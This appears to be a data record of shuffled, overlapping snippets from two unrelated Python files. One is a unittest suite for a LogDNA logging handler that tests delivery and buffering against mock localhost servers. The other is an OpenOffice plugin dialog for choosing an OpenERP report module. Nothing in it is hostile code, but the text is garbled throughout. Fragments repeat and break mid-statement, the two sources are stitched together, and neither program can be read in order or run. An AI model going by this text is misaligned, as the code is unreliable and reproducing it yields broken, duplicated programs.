self.end_headers() body = json.loads(body)['ls'] for keys", "= get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE'", "logger.addHandler(handler) line = \"second test. server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread =", "we want. And more and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line,", "10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line =", "server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1)", "'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test. server fails\"", "test. server fails\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf),", "grows bigger than we want\" lineTwo = \"when buffer grows bigger than we", "more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1)", "import json import unittest from http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler from", "class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def", "logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options = { 'hostname':", "bigger than we want\" lineTwo = \"when buffer grows bigger than we want.", "'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 }", "options) logger.addHandler(handler) line = \"python python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread =", "expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length)", "handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test. server fails\" server_thread =", "body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class", "logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port()", "logger.addHandler(handler) line = \"when buffer grows bigger than we want\" lineTwo = \"when", "from .mock.server import get_port, start_server from .mock.log import logger, info, LOGDNA_API_KEY expectedLines =", "def stops_retention_when_buf_is_full(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip':", "{ 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY,", "'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY,", "int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options =", "options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler", "'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second", "body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line'])", "server_recieves_messages(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1',", "from http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server import get_port, start_server", "'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line", "logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self):", "from .mock.log import logger, info, LOGDNA_API_KEY expectedLines = [] class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self):", "do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port =", "messages_preserved_if_excp(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1',", "\"when buffer grows bigger than we want. And more and more\" server_thread =", "than we want\" lineTwo = \"when buffer grows bigger than we want. And", "SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body =", "handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python python\" server_thread = start_server(port,", "= \"when buffer grows bigger than we want. And more and more\" server_thread", "server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp() self.stops_retention_when_buf_is_full() if", "= json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length =", "= { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout':", "} handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"second test. server fails\" server_thread", "BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server import get_port, start_server from .mock.log import", "python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line,", "= self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class", "logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options =", "'flush_interval': 1, 'retry_interval_secs': 1 } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"when", "def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls']", "more and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join()", "class SuccessfulRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body", "FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self):", "get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit':", "'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options)", "'10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python", "want. And more and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo)", "expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase):", "expectedLines) logger.removeHandler(handler) def messages_preserved_if_excp(self): port = get_port() options = { 'hostname': 'localhost', 'url':", "lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def test_run_tests(self): self.server_recieves_messages() self.messages_preserved_if_excp() self.stops_retention_when_buf_is_full()", "'10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10, 'flush_interval': 1, 'retry_interval_secs': 1 } handler", "= int(self.headers['Content-Length']) body = self.rfile.read(content_length) self.send_response(200) self.end_headers() body = json.loads(body)['ls'] for keys in", "'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler)", "bigger than we want. And more and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread", "and more\" server_thread = start_server(port, FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf),", "lineTwo = \"when buffer grows bigger than we want. And more and more\"", "class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options = { 'hostname': 'localhost', 'url':", "\"when buffer grows bigger than we want\" lineTwo = \"when buffer grows bigger", "logger.removeHandler(handler) def stops_retention_when_buf_is_full(self): port = get_port() options = { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port),", "options) logger.addHandler(handler) line = \"when buffer grows bigger than we want\" lineTwo =", "in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers()", "LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line = \"python python python\" server_thread = start_server(port, SuccessfulRequestHandler) logdna_thread", "= { 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler =", "= int(self.headers['Content-Length']) self.rfile.read(content_length) self.send_response(400) self.end_headers() class LogDNAHandlerTest(unittest.TestCase): def server_recieves_messages(self): port = get_port() options", "body = json.loads(body)['ls'] for keys in body: expectedLines.append(keys['line']) class FailedRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length", ".mock.server import get_port, start_server from .mock.log import logger, info, LOGDNA_API_KEY expectedLines = []", "start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler) def", "= start_server(port, SuccessfulRequestHandler) logdna_thread = info(line) server_thread.join() logdna_thread.join() self.assertEqual(len(expectedLines), 1) self.assertIn(line, expectedLines) logger.removeHandler(handler)", "FailedRequestHandler) logdna_thread = info(line, lineTwo) server_thread.join() logdna_thread.join() self.assertEqual(len(handler.buf), 1) self.assertNotEqual(handler.buf[0]['line'], lineTwo) logger.removeHandler(handler) def", "unittest from http.server import BaseHTTPRequestHandler from logdna import LogDNAHandler from .mock.server import get_port,", "{ 'hostname': 'localhost', 'url': 'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE', 'buf_retention_limit': 50, 'equest_timeout': 10,", "'http://localhost:{0}'.format(port), 'ip': '10.0.1.1', 'mac': 'C0:FF:EE:C0:FF:EE' } handler = LogDNAHandler(LOGDNA_API_KEY, options) logger.addHandler(handler) line =" ]
[ "<gh_stars>10-100 #!/usr/bin/python2 \"\"\" packet_loss.py: Simulates packet loss by dropping all packets with a", "25%. \"\"\" import random from pox.core import core import pox.openflow.libopenflow_01 as of def", "from pox.core import core import pox.openflow.libopenflow_01 as of def packet_in(event): if random.random() >=", "#!/usr/bin/python2 \"\"\" packet_loss.py: Simulates packet loss by dropping all packets with a probability", "loss by dropping all packets with a probability of 25%. \"\"\" import random", "\"\"\" import random from pox.core import core import pox.openflow.libopenflow_01 as of def packet_in(event):", "by dropping all packets with a probability of 25%. \"\"\" import random from", "as of def packet_in(event): if random.random() >= 0.25: msg = of.ofp_packet_out(data = event.ofp)", "Simulates packet loss by dropping all packets with a probability of 25%. \"\"\"", "a probability of 25%. \"\"\" import random from pox.core import core import pox.openflow.libopenflow_01", "msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD)) event.connection.send(msg) def launch(): core.openflow.addListenerByName(\"PacketIn\", packet_in)", "pox.core import core import pox.openflow.libopenflow_01 as of def packet_in(event): if random.random() >= 0.25:", "of def packet_in(event): if random.random() >= 0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port", "probability of 25%. \"\"\" import random from pox.core import core import pox.openflow.libopenflow_01 as", "random.random() >= 0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD)) event.connection.send(msg) def", "with a probability of 25%. \"\"\" import random from pox.core import core import", "import random from pox.core import core import pox.openflow.libopenflow_01 as of def packet_in(event): if", "import core import pox.openflow.libopenflow_01 as of def packet_in(event): if random.random() >= 0.25: msg", "of 25%. \"\"\" import random from pox.core import core import pox.openflow.libopenflow_01 as of", "packet_loss.py: Simulates packet loss by dropping all packets with a probability of 25%.", "packets with a probability of 25%. \"\"\" import random from pox.core import core", "packet_in(event): if random.random() >= 0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD))", "if random.random() >= 0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD)) event.connection.send(msg)", "pox.openflow.libopenflow_01 as of def packet_in(event): if random.random() >= 0.25: msg = of.ofp_packet_out(data =", "0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD)) event.connection.send(msg) def launch(): core.openflow.addListenerByName(\"PacketIn\",", "\"\"\" packet_loss.py: Simulates packet loss by dropping all packets with a probability of", "core import pox.openflow.libopenflow_01 as of def packet_in(event): if random.random() >= 0.25: msg =", "def packet_in(event): if random.random() >= 0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port =", "import pox.openflow.libopenflow_01 as of def packet_in(event): if random.random() >= 0.25: msg = of.ofp_packet_out(data", "random from pox.core import core import pox.openflow.libopenflow_01 as of def packet_in(event): if random.random()", "all packets with a probability of 25%. \"\"\" import random from pox.core import", "dropping all packets with a probability of 25%. \"\"\" import random from pox.core", ">= 0.25: msg = of.ofp_packet_out(data = event.ofp) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD)) event.connection.send(msg) def launch():", "packet loss by dropping all packets with a probability of 25%. \"\"\" import" ]
[ "dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat', name='codi_registre', field=models.CharField(blank=True,", "<gh_stars>0 # Generated by Django 3.1.5 on 2021-03-06 17:29 from django.db import migrations,", "Django 3.1.5 on 2021-03-06 17:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies", "migrations, models class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations = [", "models class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField(", "'0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat', name='codi_registre', field=models.CharField(blank=True, default='', max_length=256, null=True), ),", "# Generated by Django 3.1.5 on 2021-03-06 17:29 from django.db import migrations, models", "class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat',", "= [ ('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat', name='codi_registre', field=models.CharField(blank=True, default='',", "17:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'),", "Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat', name='codi_registre',", "on 2021-03-06 17:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [", "by Django 3.1.5 on 2021-03-06 17:29 from django.db import migrations, models class Migration(migrations.Migration):", "3.1.5 on 2021-03-06 17:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies =", "2021-03-06 17:29 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cole',", "Generated by Django 3.1.5 on 2021-03-06 17:29 from django.db import migrations, models class", "django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations", "from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ]", "import migrations, models class Migration(migrations.Migration): dependencies = [ ('cole', '0022_auto_20210306_1528'), ] operations =", "] operations = [ migrations.AddField( model_name='entitat', name='codi_registre', field=models.CharField(blank=True, default='', max_length=256, null=True), ), ]", "('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat', name='codi_registre', field=models.CharField(blank=True, default='', max_length=256, null=True),", "[ ('cole', '0022_auto_20210306_1528'), ] operations = [ migrations.AddField( model_name='entitat', name='codi_registre', field=models.CharField(blank=True, default='', max_length=256," ]
[ "migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'),", "] operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for", "utf-8 -*- # Generated by Django 1.11.6 on 2018-05-17 15:50 from __future__ import", "from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration):", "import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies =", "-*- # Generated by Django 1.11.6 on 2018-05-17 15:50 from __future__ import unicode_literals", "help_text='<span>Select the primary location for the intity this site represents. This list is", "the intity this site represents. This list is managed by the webmaster.</span>', null=True,", "[ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True,", "unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [", "is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT, related_name='dashboard_generalsettings_location', to='taxonomy.Location', verbose_name='Primary Location'), ), ]", "migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the intity this site", "2018-05-17 15:50 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion", "__future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies", "= [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings', name='location',", "('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary", "operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the", "-*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-05-17 15:50 from", "this site represents. This list is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT, related_name='dashboard_generalsettings_location',", "15:50 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class", "coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-05-17 15:50 from __future__", "import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations", "# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2018-05-17 15:50", "model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the intity this site represents.", "This list is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT, related_name='dashboard_generalsettings_location', to='taxonomy.Location', verbose_name='Primary Location'),", "the primary location for the intity this site represents. This list is managed", "Django 1.11.6 on 2018-05-17 15:50 from __future__ import unicode_literals from django.db import migrations,", "django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations =", "represents. This list is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT, related_name='dashboard_generalsettings_location', to='taxonomy.Location', verbose_name='Primary", "name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the intity this site represents. This", "intity this site represents. This list is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT,", "field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the intity this site represents. This list", "by Django 1.11.6 on 2018-05-17 15:50 from __future__ import unicode_literals from django.db import", "'0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the", "dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings',", "1.11.6 on 2018-05-17 15:50 from __future__ import unicode_literals from django.db import migrations, models", "on 2018-05-17 15:50 from __future__ import unicode_literals from django.db import migrations, models import", "'0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location", "location for the intity this site represents. This list is managed by the", "list is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT, related_name='dashboard_generalsettings_location', to='taxonomy.Location', verbose_name='Primary Location'), ),", "for the intity this site represents. This list is managed by the webmaster.</span>',", "models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ]", "= [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the intity", "primary location for the intity this site represents. This list is managed by", "[ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select the primary location for the intity this", "Generated by Django 1.11.6 on 2018-05-17 15:50 from __future__ import unicode_literals from django.db", "Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField(", "site represents. This list is managed by the webmaster.</span>', null=True, on_delete=django.db.models.deletion.PROTECT, related_name='dashboard_generalsettings_location', to='taxonomy.Location',", "class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [", "import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard',", "# Generated by Django 1.11.6 on 2018-05-17 15:50 from __future__ import unicode_literals from", "from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy',", "django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('taxonomy', '0009_boardprecinct_precinct_map'),", "('taxonomy', '0009_boardprecinct_precinct_map'), ('dashboard', '0008_generalsettings_gatrackingid'), ] operations = [ migrations.AddField( model_name='generalsettings', name='location', field=models.ForeignKey(blank=True, help_text='<span>Select" ]
[ "= \"http://0.0.0.0:8989/\" BAD_SERVER_URL = \"http://0.0.0.0:8988/\" JSON_REPORT = \"test_report.json\" WEB_FILE_PATH = \"test_web\" DEFAULT_WEB_DIR =", "\"http://0.0.0.0:8989/\" BAD_SERVER_URL = \"http://0.0.0.0:8988/\" JSON_REPORT = \"test_report.json\" WEB_FILE_PATH = \"test_web\" DEFAULT_WEB_DIR = \"web\"", "GOOD_SERVER_URL = \"http://0.0.0.0:8989/\" BAD_SERVER_URL = \"http://0.0.0.0:8988/\" JSON_REPORT = \"test_report.json\" WEB_FILE_PATH = \"test_web\" DEFAULT_WEB_DIR" ]
[ "ErrorDialog from lib.functions import * from lib.logreport import * from LoginTest import *", "License, or (at your option) any later version. # # This library is", "Fifth Floor, Boston, MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import", "Foundation; either # version 2.1 of the License, or (at your option) any", "LoginTest import * from lib.rpc import * database=\"test\" uid = 3 # #", "# This library is distributed in the hope that it will be useful,", "self.ctx = ctx self.module = \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if not", "it and/or # modify it under the terms of the GNU Lesser General", "y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in", "library is free software; you can redistribute it and/or # modify it under", "Boston, MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import", "import string import unohelper import xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\": from", "global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields =", "loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2,", ",actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc =", "from lib.rpc import * database=\"test\" uid = 3 # # # # Start", "without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR", "using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\"", "02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string import", "either # version 2.1 of the License, or (at your option) any later", "self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked )", "XJobExecutor): def __init__(self, ctx): self.ctx = ctx self.module = \"openerp_report\" self.version = \"0.1\"", "docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a report %s using database", "Start OpenOffice.org, listen for connections and open testing document # # class NewReport(unohelper.Base,", "free software; you can redistribute it and/or # modify it under the terms", "(at your option) any later version. # # This library is distributed in", "and open testing document # # class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx", "<PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields", "any later version. # # This library is distributed in the hope that", "Free Software Foundation; either # version 2.1 of the License, or (at your", ",-5, 70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 -", "def __init__(self, ctx): self.ctx = ctx self.module = \"openerp_report\" self.version = \"0.1\" LoginTest()", "lib.logreport import * from LoginTest import * from lib.rpc import * database=\"test\" uid", "self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module", "doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global url self.sock=RPCSession(url) ids", "from com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui import * from lib.error import", "FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for", "WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A", "Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc", "that it will be useful, # but WITHOUT ANY WARRANTY; without even the", "range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked )", "your option) any later version. # # This library is distributed in the", ", False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo()", "\"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 ,", "this library; if not, write to the Free Software # Foundation, Inc., 51", "or (at your option) any later version. # # This library is distributed", "5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc", "btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = 